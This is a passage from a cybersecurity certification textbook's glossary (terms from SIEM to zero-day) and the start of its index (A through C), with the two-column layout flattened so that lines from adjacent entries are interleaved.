security information and event capabilities of a server without needing
management (SIEM) A solution that to perform server administration
provides real-time or near-real-time tasks. Serverless computing offloads
analysis of security alerts generated by infrastructure management to the
network hardware and applications. cloud service provider—for example,
configuring file storage capability
security key Portable HSM with a
without the requirement of first building
computer interface, such as USB or NFC,
and deploying a file server.
used for multifactor authentication.
server-side In a web application, input
security log A target for event data
data that is executed or validated as
related to access control, such as user
part of a script or process running on
authentication and privilege use.
the server.
security zone An area of the network
server-side request forgery (SSRF)
(or of a connected network) where the
An attack where an attacker takes
security configuration is the same for all
advantage of the trust established
hosts within it. In physical security, an
between the server and the resources it
area separated by barriers that control
can access, including itself.
entry and exit points.
service disruption A type of attack that
Security-Enhanced Linux (SELinux)
compromises the availability of an asset
The default context-based permissions
or business process.
scheme provided with CentOS and Red
Hat Enterprise Linux. service level agreement (SLA) An
agreement that sets the service
selection of effective controls
requirements and expectations between
The process of choosing the type
a consumer and a provider.
and placement of security controls

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service set identifier (SSID) A character a complete interruption of a service if it

string that identifies a particular wireless failed.
LAN (WLAN).
single sign-on (SSO) Authentication
session affinity A scheduling approach technology that enables a user
used by load balancers to route traffic to authenticate once and receive
to devices that have already established authorizations for multiple services.
connections with the client in question.
sinkhole A DoS attack mitigation
shadow IT Computer hardware, strategy that directs the traffic that
software, or services used on a private is flooding a target IP address to a
network without authorization from the different network for analysis.
system owner.
site survey Documentation about a
shellcode A lightweight block of location for the purposes of building
malicious code that exploits a software an ideal wireless infrastructure; it often
vulnerability to gain initial access to a contains optimum locations for wireless
victim system. antenna and access point placement to
provide the required coverage for clients
sideloading Installing an app to a
and identify sources of interference.
mobile device without using an app
store. skimming Making a duplicate of a
contactless access card by copying its
signature-based detection A network
access token and programming a new
monitoring system that uses a
card with the same data.
predefined set of rules provided by a
software vendor or security personnel smart card A security device similar to a
to identify events that are unacceptable. credit card that can store authentication
information, such as a user’s private key,
Simple Mail Transfer Protocol (SMTP)
on an embedded cryptoprocessor.
Application protocol used to send
mail between hosts on the Internet. SMiShing A form of phishing that uses
Messages are sent between servers over SMS text messages to trick a victim into
TCP port 25 or submitted by a mail client revealing information.
over secure port TCP/587.
snapshot (backup) Used to create the
Simple Network Management entire architectural instance/copy of an
Protocol (SNMP) Application protocol application, disk, or system. It is used in
used for monitoring and managing backup processes to restore the system
network devices. SNMP works over UDP or disk of a particular device at a specific
ports 161 and 162 by default. time. A snapshot backup can also be
referred to as image backup.
Simple Object Access Protocol (SOAP)
An XML-based web services protocol Snort An open source NIDS. A
that is used to exchange messages. subscription (“oinkcode”) is required to
obtain up-to-date rulesets, which allow
simulation (testing) A testing
the detection engine to identify the
technique that replicates the conditions
very latest threats. Non-subscribers
of a real-world disaster scenario or
can obtain community-authored
security incident.
rulesets.
Simultaneous Authentication of
social engineering An activity where
Equals (SAE) Personal authentication
the goal is to use deception and trickery
mechanism for Wi-Fi networks
to convince unsuspecting users to
introduced with WPA3 to address
provide sensitive data or to violate
vulnerabilities in the WPA-PSK method.
security guidelines.
single loss expectancy (SLE) The
soft authentication token OTP sent to
amount that would be lost in a single
a registered number or email account
occurrence of a particular risk factor.
or generated by an authenticator app as
single point of failure (SPoF) A a means of two-step verification when
component or system that would cause authenticating account access.

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 Glossary | G-27

software as a service (SaaS) A cloud statement of work (SOW) A document

service model that provisions fully that defines the expectations for a
developed application services to users. specific business arrangement.
software bill of materials (SBOM) static analysis The process of reviewing
Inventory of third-party and open- uncompiled source code either manually
source code components used in an or using automated tools.
application or package.
steganography A technique for
software composition analysis obscuring the presence of a message,
(SCA) Tools designed to assist with often by embedding information within
identification of third-party and a file or other entity.
open-source code during software
structured exception handler (SEH) A
development and deployment.
mechanism to account for unexpected
software defined WAN (SD-WAN) error conditions that might arise during
Services that use software-defined code execution. Effective error handling
mechanisms and routing policies to reduces the chances that a program
implement virtual tunnels and overlay could be exploited.
networks over multiple types of
Structured Query Language injection
transport network.
(SQL injection) An attack that injects
software development life cycle a database query into the input data
(SDLC) The processes of planning, directed at a server by accessing the
analysis, design, implementation, and client side of the application.
maintenance that often govern software
subject alternative name (SAN) A field
and systems development.
in a digital certificate allowing a host to
software-defined networking (SDN) be identified by multiple host names/
APIs and compatible hardware/virtual subdomains.
appliances allowing for programmable
supervisory control and data
network appliances and systems.
acquisition (SCADA) A type of industrial
spyware Software that records control system that manages large-scale,
information about a PC and its users, multiple-site devices and equipment
often installed without the user’s spread over geographically large areas
consent. from a host computer.
standard configurations In an IaC supplicant In EAP architecture, the
architecture, the property that an device requesting access to the network.
automation or orchestration action
supply chain The end-to-end process of
always produces the same result,
supplying, manufacturing, distributing,
regardless of the component’s previous
and finally releasing goods and services
state.
to a customer.
standards Expected outcome or state
SYN flood A DoS attack where the
of a task that has been performed
attacker sends numerous SYN requests
in accordance with policies and
to a target server, hoping to consume
procedures. Standards can be
enough resources to prevent the
determined internally or measured
transfer of legitimate traffic.
against external frameworks.
syslog Application protocol and
state table Information about sessions
event-logging format enabling different
between hosts that is gathered by a
appliances and software applications
stateful firewall.
to transmit logs or event records to a
stateful inspection A technique used central server. Syslog works over UDP
in firewalls to analyze packets down to port 514 by default.
the application layer rather than filtering
System Monitor Software that tracks
packets only by header information,
the health of a computer’s subsystems
enabling the firewall to enforce tighter
using metrics reported by system
and more security.
hardware or sensors. This provides an

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 G-28 | Glossary

alerting service for faults such as high been discovered by normal security
temperature, chassis intrusion, and monitoring.
so on.
ticket granting ticket (TGT) In
system/process audit An audit process Kerberos, a token issued to an
with a wide scope, including assessment authenticated account to allow access
of supply chain, configuration, support, to authorized application servers.
monitoring, and cybersecurity factors.
timeline In digital forensics, a tool
tabletop exercise A discussion of that shows the sequence of file system
simulated emergency situations and events within a source image in a
security incidents. graphical format.
tactics, techniques, and procedures time-of-check to time-of-use
(TTP) Analysis of historical cyberattacks (TOCTOU) The potential vulnerability
and adversary actions. that occurs when there is a change
between when an app checked a
technical debt Costs accrued by
resource and when the app used the
keeping an ineffective system or product
resource.
in place, rather than replacing it with a
better-engineered one. time-of-day restrictions Policies or
configuration settings that limit a user’s
Temporal Key Integrity Protocol
access to resources.
(TKIP) The mechanism used in the first
version of WPA to improve the security tokenization A de-identification
of wireless encryption mechanisms, method where a unique token is
compared to the flawed WEP standard. substituted for real data.
test access point (TAP) A hardware trade secrets Intellectual property
device inserted into a cable run to copy that gives a company a competitive
frames for analysis. advantage but hasn’t been registered
with a copyright, trademark, or patent.
tethering Using the cellular data plan
of a mobile device to provide Internet transparent proxy A server that
access to a laptop or PC. The PC can redirects requests and responses
be tethered to the mobile by USB, without the client being explicitly
Bluetooth, or Wi-Fi (a mobile hotspot). configured to use it. Also referred
to as a forced or intercepting
third party CA In PKI, a public CA that
proxy.
issues certificates for multiple domains
and is widely trusted as a root trust by Transport Layer Security (TLS)
operating systems and browsers. Security protocol that uses certificates
for authentication and encryption to
third-party risks Vulnerabilities that
protect web communications and other
arise from dependencies in business
application protocols.
relationships with suppliers and
customers. Transport Layer Security virtual
private network (TLS VPN) Virtual
threat A potential for an entity to
private networking solution that uses
exercise a vulnerability (that is, to
digital certificates to identify, host, and
breach security).
establish secure tunnels for network
threat actor A person or entity traffic.
responsible for an event that has been
transport/communication encryption
identified as a security incident or as a
Encryption scheme applied to data-in-
risk.
motion, such as WPA, IPsec, or TLS.
threat feed Signatures and pattern-
trend analysis The process of detecting
matching rules supplied to analysis
patterns within a dataset over time,
platforms as an automated feed.
and using those patterns to make
threat hunting A cybersecurity predictions about future events
technique designed to detect the or to better understand past
presence of threats that have not events.

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 Glossary | G-29

Trojan A malicious software program unintentional insider threat A threat

hidden within an innocuous-seeming actor that causes a vulnerability or
piece of software. Usually, the Trojan is exposes an attack vector without
used to try to compromise the security malicious intent.
of the target computer.
uninterruptible power supply (UPS) A
trusted platform module (TPM) battery-powered device that supplies AC
Specification for secure hardware-based power that an electronic device can use
storage of encryption keys, hashed in the event of power failure.
passwords, and other user- and
unsecure network Configuration that
platform-identification information.
exposes a large attack surface, such
tunneling The practice of encapsulating as through unnecessary open service
data from one protocol for safe transfer ports, weak or no authentication, use
over another network such as the of default credentials, or lack of secure
Internet. communications/encryption.
type-safe programming language user and entity behavior analytics
A program that enforces strict type- (UEBA) A system that can provide
checking during compilation and automated identification of suspicious
ensures variables and data are activity by user accounts and computer
used correctly. It prevents memory- hosts.
related vulnerabilities and injection
version control The practice of
attacks.
ensuring that the assets that make up
typosquatting An attack in which an a project are closely managed when it
attacker registers a domain name with comes time to make changes.
a common misspelling of an existing
vertical privilege escalation When an
domain, so that a user who misspells a
attacker can perform functions that are
URL they enter into a browser is taken
normally assigned to users in higher
to the attacker’s website.
roles, and often explicitly denied to the
under-voltage event When the attacker.
power that is supplied by the electrical
video surveillance Physical security
wall socket is insufficient to allow
control that uses cameras and recording
the computer to function correctly.
devices to visually monitor the activity in
Under-voltage events are long sags in
a certain area.
power output that are often caused by
overloaded or faulty grid distribution virtual local area network (VLAN) A
circuits or by a failure in the supply logical network segment comprising a
route from the electrical power station broadcast domain established using a
to a building. feature of managed switches to assign
each port a VLAN ID. Even though
unified threat management (UTM)
hosts on two VLANs may be physically
All-in-one security appliances and
connected to the same switch, local
agents that combine the functions of
traffic is isolated to each VLAN, so they
a firewall, malware scanner, intrusion
must use a router to communicate.
detection, vulnerability scanner, data-
loss prevention, content filtering, and Virtual Network Computing (VNC)
so on. Remote access tool and protocol. VNC is
the basis of macOS screen sharing.
uniform resource locator (URL) An
application-level addressing scheme for virtual private cloud (VPC) A private
TCP/IP, allowing for human-readable network segment made available to a
resource addressing. For example: single cloud consumer on a public
protocol://server/file, where “protocol” cloud.
is the type of resource (HTTP, FTP),
virtual private network (VPN) A secure
“server” is the name of the computer
tunnel created between two endpoints
(www.microsoft.com), and “file”
connected via an unsecure transport
is the name of the resource you wish to
network (typically the Internet).
access.

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 G-30 | Glossary

virtualization A computing their back-end databases from code

environment where multiple injection and DoS attacks.
independent operating systems can be
web filter A software application or
installed to a single hardware platform
gateway that filters client requests for
and run simultaneously.
various types of Internet content (web,
virus Malicious code inserted into an FTP, IM, and so on).
executable file image. The malicious
Wi-Fi Protected Access (WPA)
code is executed when the file is run
Standards for authenticating and
and can deliver a payload, such as
encrypting access to Wi-Fi networks.
attempting to infect other files.
Wi-Fi Protected Setup (WPS) A
vishing Social engineering attack where
feature of WPA and WPA2 that allows
the threat actor extracts information
enrollment in a wireless network based
while speaking over the phone or
on an eight-digit PIN.
leveraging IP-based voice messaging
services (VoIP). wildcard domain In PKI, a digital
certificate that will match multiple
visualization A widget showing records
subdomains of a parent domain.
or metrics in a visual format, such as a
graph or table. Wired Equivalent Privacy (WEP) A
legacy mechanism for encrypting data
vulnerability A weakness that could
sent over a wireless connection.
be triggered accidentally or exploited
intentionally to cause a security breach. work recovery time (WRT) In disaster
recovery, time additional to the RTO
vulnerability feed A synchronizable
of individual systems to perform
list of data and scripts used to check
reintegration and testing of a restored
for vulnerabilities. Also referred to as
or upgraded system following an
plug-ins or network vulnerability tests
event.
(NVTs).
workforce multiplier A tool or
vulnerability scanner Hardware or
automation that increases employee
software configured with a list of known
productivity, enabling them to perform
weaknesses and exploits and that can
more tasks to the same standard per
scan for their presence in a host OS or
unit of time.
particular application.
worm A type of malware that replicates
warm site An alternate processing
between processes in system memory
location that is dormant or performs
and can spread over client/server
noncritical functions under normal
network connections.
conditions, but which can be rapidly
converted to a key operations site if write blocker A forensic tool to prevent
needed. the capture or analysis device or
workstation from changing data on a
watering hole attack An attack in
target disk or media.
which an attacker targets specific
groups or organizations, discovers zero trust The security design paradigm
which websites they frequent, where any request (host-to-host
and injects malicious code into or container-to-container) must be
those sites. authenticated before being allowed.
web application firewall (WAF) A zero-day A vulnerability in software that
firewall designed specifically to protect is unpatched by the developer or an
software running on web servers and attack that exploits such a vulnerability.

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 Index
A accountability, governance Advanced Encryption Standard
and, 420–423 (AES), 40, 215, 257
A/A clustering. see active/active
accounting, G-1 advanced endpoint protection,
(A/A) clustering
in AAA, 6 279–281
AAA. see authentication,
controls, 198 endpoint detection and
authorization, and accounting
in IAM, 5–6 response, 279–280
(AAA)
server, 259 extended detection and
AAR. see after-action report
ACE. see access control entry response, 280
(AAR)
(ACE) host-based IDS/IPS,
ABAC. see attribute-based
ACL. see access control list 280–281
access control (ABAC)
(ACL) user and entity behavior
acceptable use policy (AUP),
acquisition, G-1, 341–343 analytics, 281
G-1, 313, 410–411, 488
asset tracking, 173–174 advanced persistent threat
access badges, G-1, 202
data, 341 (APT), G-1, 20, 374
access block, 103, 105,
disk image, 342–343 advanced volatile threat (AVT),
106
live, 343 374
access control, 5–6
order of volatility, 341 adware, G-1, 375
authentication,
static, by pulling the plug, AE. see authenticated
authorization, and
343 encryption (AE)
accounting, 6
static, by shutting down the aerospace and defense, as
endpoint configuration, 282
host, 343 embedded system, 158
identity and access
system memory, 342 AES. see Advanced Encryption
management, 5–6
Active KillDisk, 180 Standard (AES)
models, 416
active reconnaissance, G-1, AES Galois Counter Mode
policy-driven, 165
463–464 Protocol (GCMP), G-1, 257
standards, 416
active security control, G-1, 117 after-action report (AAR), 335
strong, for hardware, 254
active/active (A/A) clustering, agent-based collection, 359
Zero Trust architectures
190 agent-based configurations,
and, 164–165
active/passive (A/P) clustering, 260–261
access control entry (ACE),
190 agent-based filtering, 269
282–283
ad hoc network, G-1, 297 agentless collection, 359
access control list (ACL), G-1, 9,
address resolution protocol agentless configurations,
81, 82, 118, 263
(ARP), G-1, 389 260–261
endpoint configuration,
poisoning, 389–390 agentless scanning, 25
282–283
address space layout A-GPS. see assisted GPS (A-GPS)
firewall rules in, 263, 264
randomization (ASLR), 221, AH. see authentication header
full disk encryption, 277
400 (AH)
router security, 253
addressing functions, 101 AI. see artificial intelligence (AI)
switch security, 253
ADGuard, 314 AIC Triad, 2, 160
access control vestibule
Adobe, 24 air-gapped backups, G-1, 176
(mantrap), G-1, 202
advanced authentication, air-gapped network, 111
access points, G-1, 254, 258
258–259 AK. see authentication key (AK)
access policies, 85
advanced data protection, alarm, in alert tuning, 361
account attributes, 85
177–178 alarm systems, 204
account compromise, 382
encryption of backups, 178 circuit-based alarm, 204
account lockout, G-1, 382
journaling, 178 duress, 204
account management, 414
replication, 178 motion-based alarm, 204
account policies, G-1, 71
snapshots, 177 noise detection, 204
account restrictions, 86

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 I-2 | Index

ALE. see annualized loss angler phishing, 33 memory management, 322

expectancy (ALE) annualized loss expectancy monitoring capabilities,
alert tuning, G-1, 361–362 (ALE), G-2, 441 322–323
alerting and monitoring tools, annualized rate of occurrence application protocol security
358–367 (ARO), 441 baselines, 304–317
alert tuning, 361–362 anomalous behavior DNS filtering, 313–316
alerting, 360 recognition, G-2, 493 email data loss prevention,
archiving, 361 anomaly-based detection, 268 313
benchmarks, 365–366 anonymity, dark web and, 238 email security, 311–313
monitoring infrastructure, Anonymous, 20 email services, 309–311
362–363 Ansible, 252 file transfer services, 309
monitoring systems and antenna configurations, 300 secure directory services,
applications, 364–365 antimalware, 254, 277 307–308
reporting, 360–361 antivirus, G-2, 254, 364, 379 secure protocols, 304–305
security information and antivirus scan (A-V), G-2 Simple Network
event management, anything as a service (XaaS), Management Protocol, 308
358–359 G-2, 144 solutions, S-17
solutions, S-19–20 A/P clustering. see active/ Transport Layer Security,
algorithms, G-1 passive (A/P) clustering 305–307
cryptographic, 38–45 API. see application application protocols, 102
encryption, 38–42, 417 programming interface (API) application service ports, 275
hashing, 42–43, 416 APK (Android Application application virtualization, G-2,
Alice, 38 Package) files, 218 148
allow lists, G-1, 284, 319, Apple, 61 application vulnerabilities,
427–428 MDM solution, 293 220–227
AlphaBay market, 237 Apple GoTo bug, 321 buffer overflow, 221
Amazon Elastic Compute Apple Pay, 300 cloud-based application
Cloud, 145 appliance firewall, G-2, attacks, 226–227
Amazon Web Services (AWS), 118–119 evaluation scope, 222–223
95 bridged (layer 2), 119 malicious update, 222
amplification attack, G-2, 388 inline (layer 1), 119 memory injection, 221
analysis, G-2, 332–333 routed (layer 3), 118 penetration tester vs.
category, 332 application allow lists and attacker, 223
impact, 332 block lists, 284 race condition
kill chain, 332–333 application attacks, 399–400 vulnerabilities, 220
playbooks, 333 buffer overflow, 400 solutions, S-13
Android privilege escalation, 399–400 TOCTOU vulnerabilities, 220
Data Protection encryption, solutions, S-22 web application attacks,
294 application clustering, 190 223–226
fingerprint recognition, 76 application legacy systems, 430 application vulnerability
instant messaging, 27 application logs, 351 scanning, 233
Intune for locking down application monitors, 364 application-aware proxies, 121
connectivity methods, 296 application programming APT. see advanced persistent
sandboxing, 323 interface (API), G-2, 57, 78, 96, threat (APT)
SELinux capabilities using 227, 434 APT1 report, 20
SEAndroid, 286 application protections, arbitrary code execution, G-2,
vulnerabilities, 211, 218 321–323 399
Android Application Package application security in the architecture and infrastructure
(APK) files, 218 cloud, 322 concepts, 100–101
Android Beam, 300 client-side vs. server-side access, 100
Android Enterprise, 293 validation, 322 email mailbox server, 100
Android Pay, 300 error handling, 321–322 mail transfer server, 100

Index

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 Index | I-3

architecture considerations, asset protection concepts, Bluetooth connection

111–112 174–175 methods, 298
availability, 111 asset tracking, 172–174 certificate-based, 76
compute and assignment/accounting, 172 controls, 198
responsiveness, 111 assisted GPS (A-GPS), 296 design, 70–71
costs, 111 asymmetric algorithm, G-2, factors, 70
patch availability, 112 41–42, 60–61 hard authentication tokens,
power, 111 asymmetric encryption, 41–42, 76–77
resilience and ease of 60–61 in IAM, 5–6
recovery, 111 vulnerabilities, 216 Linux, 90
risk transference, 112 attack surfaces, G-2, 23–29, location-based, 74
scalability and ease of 108–109 multifactor, 73–74, 87
deployment, 111 layer model to analyze, 108 password concepts, 71–72
archiving, 361 methods to reduce, 26 password managers, 72–73
ARO. see annualized rate of solutions, S-3 passwordless, 78
occurrence (ARO) supply chain attack surface, personal identification
ARP. see address resolution 28 number, 71
protocol (ARP) threat vectors, 23–27 protocols, 416
ARP poisoning, G-2, 389–390 weaknesses, 108–109 provider, 89
artificial intelligence (AI), G-2, attack vector, G-2. see also secure directory services,
236, 380 threat vectors 307–308
AS. see authentication service attacker, penetration tester vs., server, 110
(AS) 223 single sign-on, 91–92
Asana, 185 attestation, G-2, 78, 460–463 soft authentication tokens,
ASLR. see address space layout attribute-based access control 77
randomization (ASLR) (ABAC), G-2–3, 83 solutions, S-6–7
assessments audit committees, 461 two-factor authentication,
attestation, 460–463 audit trails, 416 74
penetration testing, 463–466 audits, 460–467 Wi-Fi, 258–259
security awareness training attestation, 460–463 Windows, 89
lifecycle, 495 evidence of internal, authentication, authorization,
asset, G-2, 414 455–456 and accounting (AAA), G-3, 6,
asset allocation, 412 internal and external, 109
asset disposal/ 460–462 authentication header (AH),
decommisioning, 179–180 penetration testing, G-3, 132
certification, 179 463–466 authentication key (AK), 278
destruction, 179 reaudit security controls, authentication service (AS),
overwriting, 180 335 91–92
sanitization, 179 right-to-audit clause, authentication tokens
asset enumeration, 173 455 generation of, 76
asset identification, 174 system/process, 240 hard, 76–77
asset management, 172–181 vulnerability assessment, soft, 77
advanced data protection, 240, 247 authenticator, G-3, 76, 110
177–178 AUP. see acceptable use policy authorization, G-3, 81–88
asset protection concepts, (AUP) in AAA, 6
174–175 Australia, regulations and laws access policies, 85
asset tracking, 172–174 in, 418 account attributes, 85
data backups, 175–177 authenticated encryption (AE), account restrictions, 86
secure data destruction, 64 attribute-based access
179–180 authentication, G-3, 70–80 control, 83
software, 173 in AAA, 6 Bluetooth connection
solutions, S-11–12 biometric, 74–75 methods, 298

Index

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 I-4 | Index

controls, 198 B biometric authentication, G-3,

discretionary access 74–75
B2B. see business to business
control, 81 cost/implementation, 75
(B2B) relationship
in IAM, 5–6 crossover error rate, 75
B2C. see business to customer
least privilege permission facial recognition, 75
(B2C) relationship
assignments, 83–84 failure to enroll rate, 75
backdoors, G-3, 376–377
mandatory access control, false acceptance rate, 74
background checks, 412
81–82 false rejection rate, 74
backout plans, 427
models, 6 fingerprint recognition, 75
backup power generator, G-3,
Open Authorization, 96 throughput (speed), 75
191
privileged access biometric factor, 73
backups, G-3, 175–177
management, 87 biometric lock, 201
battery backups, 191
role-based access control, birthday attack, G-3, 396–397
in continuity of operations,
82–83 birthday paradox, 396–397
183
rule-based access control, BitLocker, 61
critical capabilities, 175
83 Bitwarden Password
data duplication, 176
single sign-on, 92–93 Management app installer, 321
encryption, 178
solutions, S-7 black box testing, 238
frequency of, 176
user account provisioning, black hat (unauthorized
on-site/off-site, 176
84–85 access), 19
recovery validation,
authorization creep, 83–84 blackmail, G-3, 18
176–177
authorized access (white hat), BLE Privacy. see Bluetooth Low
role of, 175
G-3, 19 Energy (BLE) Privacy
BadUSB paper (Nohl), 286
automated configuration bloatware, 372
bandwidth, 254
management tools, 285 block, 66
barricades and entry/exit
automated reports, 348 block lists, G-3, 284, 427–428
points, 199
automation, 433–436 block rules, 270
baseline configuration, G-3,
orchestration blockchain, G-3, 66, 147
175
implementation, 435–436 blocked content, G-3, 381
Baseline Security Analyzer
scripting, 433–434 blocklisting, 319
(MBSA) tool, 276
solutions, S-23 Blue Coat, 227
Bash shell, 211
automotive systems, as Blue Teaming, 466
basic service set identifier
embedded system, 158 BlueBorne exploit, 298
(BSSID), 254
AUTOSAR (Automotive Open bluejacking, G-3, 299
basic SSID (BSSID), 391
System Architecture), 159 bluesnarfing, G-3, 299
battery backups, 191
auto-scaling, 151 Bluetooth, 298
battery solutions, 191
cloud architecture, connection methods,
BC. see business continuity (BC)
151 298–299
beaconing, 387
cloud automation authentication and
beacons, 375
technologies, 152 authorization, 298
BEAST (Browser Exploit Against
A-V. see antivirus scan (A-V) Bluetooth security
SSL/TLS) vulnerability, 216
availability, G-3 features, 299
BeEF. see Browser Exploitation
authentication design device discovery, 298
Framework (BeEF)
and, 70 malware, 298–299
behavioral threat research, 235
in CIA Triad, 2 pairing with
behavioral-based detection,
lack of, 25 smartphone, 298
G-3, 268
AVT. see advanced volatile disabling, 298
benchmarks, 252, 365–366
threat (AVT) network vectors, 26
BIA. see business impact
AWS. see Amazon Web Services security features, 299
analysis (BIA)
(AWS) signals, 86
BIND (Berkley Internet Name
AWS Config, 173 Bluetooth Low Energy (BLE)
Domain), 314, 315
Azure Resource Graph, 173 Privacy, 299

Index

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 Index | I-5

Bluetooth Secure Connections mean time between capacity planning risks,

(BSC), 299 failures, 451 184–186
BMC Remedy, 173 mean time to repair, 451 avoiding, 186
Bob, 38 mission essential function, deploying more resources
bollards, G-3, 199–200 449 than necessary, 186
Bomgar, 454 recovery point objective, overestimating capacity
boot, 373 450–451 needs, 186
botnet, G-4, 376 recovery time objective, people risks, 184–185
BPA. see business process 449 poor capacity planning,
analysis (BPA) Work Recovery Time, 450 186
brand impersonation, 34 business partner, 28 workforce capacity, changes
breach of contract, 480 business partnership in, 185
bridged (layer 2) firewall, 119 agreement (BPA), G-4, 457 card cloning, G-4, 385–386
bring your own device (BYOD), business process analysis cardholder data environment
G-4, 163, 260, 292, 341 (BPA), 449 (CDE), 414
broadcast domain, 101, 103 business resilience, vendor CARP. see Common Address
Browser Exploit Against diversity and, 193 Redundancy Protocol (CARP)
SSL/TLS (BEAST) vulnerability, business to business (B2B) CASB. see cloud access security
216 relationship, 28 broker (CASB)
Browser Exploitation business to customer (B2C) category, in incident response,
Framework (BeEF), 401 relationship, 28 332
brute force attack, G-4, 257, BYOD. see bring your own CBT. see computer-based
385, 393 device (BYOD); Bring Your training (CBT)
brute force cryptanalysis, 40 Own Device (BYOD) CCleaner attack, 222
brute force password guessing, CCMP. see Counter Mode with
299 C Cipher Block Chaining Message
BSC. see Bluetooth Secure Authentication Code Protocol
C2 or C&C. see command and
Connections (BSC) (CCMP)
control (C2 or C&C)
BSSID. see basic service set CCPA. see California Consumer
CA. see certificate authority
identifier (BSSID); basic SSID Privacy Act (CCPA)
(CA)
(BSSID) CCTV network, 203
CAB. see Change Advisory
Btrfs, 177 CDE. see cardholder data
Board (CAB)
buffer overflow, G-4, 221, environment (CDE)
cable lock, G-4, 202
400 CDNs. see content delivery
cache poisoning, 390
bug bounties, G-4, 239–240 networks (CDNs)
caching engines, G-4, 122
bug-free code, 320 cell/column encryption, 62
calculating risk, 446
building security, 416 cellular, G-4, 296
CALEA. see Communications
bulk encryption, 60 censored information, dark
Assistance for Law
bump, 300 web and, 238
Enforcement Act (CALEA)
bump-in-the-wire, 119 Center for Internet Security
California Consumer Privacy
business continuity (BC), G-4, (CIS) Benchmarks, 252
Act (CCPA), 418, 420, 476, 477,
183, 411 centralized computing
479
business email compromise, architecture, G-4, 147
call list, G-4, 330
G-4, 33–34 centralized management,
cameras
business impact analysis (BIA), for endpoint protection,
enforcement, geofencing
G-4, 446, 448–451 288
and, 295
business impact analysis, centralized security
facial recognition, 75, 199
449 governance, 421
video surveillance, 203–204
identification of critical centralized web filtering,
canonicalization attack, G-4,
systems, 448–449 269–270
404
maximum tolerable CEO fraud (impersonating the
capacity planning, G-4, 183–184
downtime, 449 CEO), 33

Index

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 I-6 | Index

CER. see crossover error rate Chef, 252 claims-based identity, 94

(CER) chief information officer (CIO), clean desk policy, G-5, 489
CERT. see computer emergency G-5, 10 CleanBrowsing, 314
response team (CERT) chief information security client-based scanning, 25
certificate authority (CA), 47–54, officer (CISO), G-5, 10 clientless remote desktop
304, 320 chief security officer (CSO), gateway, 134, 148
certificate revocation, 53–54 G-5, 10 client-side validation, 322
certificate signing request, 51 chief technology officer (CTO), cloning, G-5, 385–386
digital certificates, 49 G-5, 10 closed/proprietary, G-5,
root of trust model, 49–50 Children’s Internet Protection 236
self-signed certificate, 50 Act (CIPA), 419 cloud
single, 50 Children’s Online Privacy access vectors, 26
third party, 48, 50 Protection Act (COPPA), 419 asset discovery, 173
certificate chaining, G-4, 50 Chinese cyber espionage cloud-based tools, 185
certificate revocation, 53–54 units, 20 as disaster recovery,
certificate revocation list (CRL), chmod command, in Linux, 188–189
G-4, 53–54 G-5, 283 monitors, 364
certificate signing request choose your own device platforms,
(CSR), G-4, 51 (CYOD), G-5, 293 deperimeterization and,
certificate-based Chuvakin, Anton, 280 163
authentication, 76 CI. see configuration item (CI) security considerations, 156
certification, G-4, 179, 290 CIA Triad, G-5, 2, 160 service customer, 146
chain of custody, G-4, 344 CIO. see chief information services, misconfiguration
chain of trust, 50 officer (CIO) vulnerabilities in, 215
Change Advisory Board (CAB), CIPA. see Children’s Internet zero trust architectures, 164
426 Protection Act (CIPA) cloud access security broker
change control, G-4, 109, 174 cipher lock, 201 (CASB), 227
change management, G-5, 174, cipher suite vulnerabilities, 216 cloud and web application
285, 425–432 cipher suites, G-5, 306–307 security concepts, 318–325
allowed and blocked ciphertext, G-5, 38, 39–40, 41, application protections,
changes, 427–428 55, 57, 63 321–323
approval process, 426 circuit-based alarm, 204 cloud application security,
concepts, 427 CIRT. see computer incident 322
dependencies, 429 response team (CIRT) secure coding techniques,
documentation and version CIS Benchmarks. see Center 318–321
control, 430–431 for Internet Security (CIS) software sandboxing,
downtime, 428–430 Benchmarks 323–324
factors driving, 426 CISA’s Zero Trust Maturity solutions, S-17
importance of, 430 Model, 163 cloud architecture, 149–151
legacy systems and CIS-CAT Pro tool, 252 features, 153–155
applications, 430 Cisco compute capabilities,
ownership in, 426 benchmarks, 252 155
polices, 411 Cloudlock, 227 cost, 154
procedures, 413 OpenDNS, 314 ease of deployment, 154
programs, 425–427 switch, 109 ease of recovery, 154
restarts, 428–429 Zero Trust Architecture, 167 Interconnection Security
in rules of engagement, 458 CISO. see chief information Agreements, 155
solutions, S-23 security officer (CISO) power, 155
chaotic motivations, of threat Citrix XenApp, 148 resilience, 154
actors, 18 CJIS. see Criminal Justice scalability, 154
chat tools, 185 Information Services Security service level
checkpoints, 177 Policy (CJIS) agreements, 155

Index

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 Index | I-7

microservices, 150 Cloud Security Alliance command injection attack, G-5,

serverless computing, (CSA) IoT Security Controls 404
149–150 Framework, 162 commercial models, 236
cloud automation technologies, cloud service models, G-5, Common Address Redundancy
151–152 144–145 Protocol (CARP), 189
Infrastructure as Code, infrastructure as a service, Common Criteria, 290
151 145 common name (CN) attribute,
responsiveness, 152 platform as a service, G-6, 52
auto-scaling, 152 144–145 Common Vulnerabilities and
edge computing, 152 software as a service, 144 Exposures (CVE), G-6, 243
load balancing, 152 third-party vendors, 145 CVE-2009-1244
cloud computing, G-5, 142 cloud service provider (CSP), vulnerability, 213
cloud deployment models, G-5, G-5, 26, 142, 146, 148 CVE-2016-2183
142–144 CloudAware, 173 vulnerability, 215
community, 142–143 cloud-based application CVE-2016-5195
hosted private, 142 attacks, 226–227 vulnerability, 220
hybrid cloud, 143–144 cloud access security CVE-2020-0796
public (or multi-tenant), 142 broker, 227 vulnerability, 220
security considerations, 143 cloud as an attack platform, Common Vulnerability Scoring
hybrid architecture, 143 226 System (CVSS), G-6, 243, 247
multi-tenant solutions, S-13 communication, in rules of
architecture, 143 Cloudburst vulnerability, 213 engagement, 458
serverless architecture, CloudCheckr, 173 communication plan, 330
143 clustering, G-5, 189–190 Communications Assistance
single-tenant active/active (A/A), 190 for Law Enforcement Act
architecture, 143 active/passive (A/P), 190 (CALEA), 419
cloud infrastructure, 142–157 application clustering, 190 community cloud, G-6, 142–143
application virtualization, topology of clustered load Comodo, 48
148 balancing architecture, company assets, 414
centralized computing 190 compensating controls, G-6,
architecture, 147 virtual IP, 189 10, 247
cloud architecture, 149–151 CMDB. see configuration competition, vendor diversity
cloud architecture features, management database (CMDB) and, 193
153–155 CMMC. see Cybersecurity competitive relationships, 455
cloud automation Maturity Model Certification competitors, 21
technologies, 151–152 (CMMC) complex dependencies, 108
cloud deployment models, CMS. see configuration compute, G-6, 111
142–144 management system (CMS) computer emergency response
cloud security CN. see common name (CN) team (CERT), 12, 330
considerations, 156 attribute computer incident response
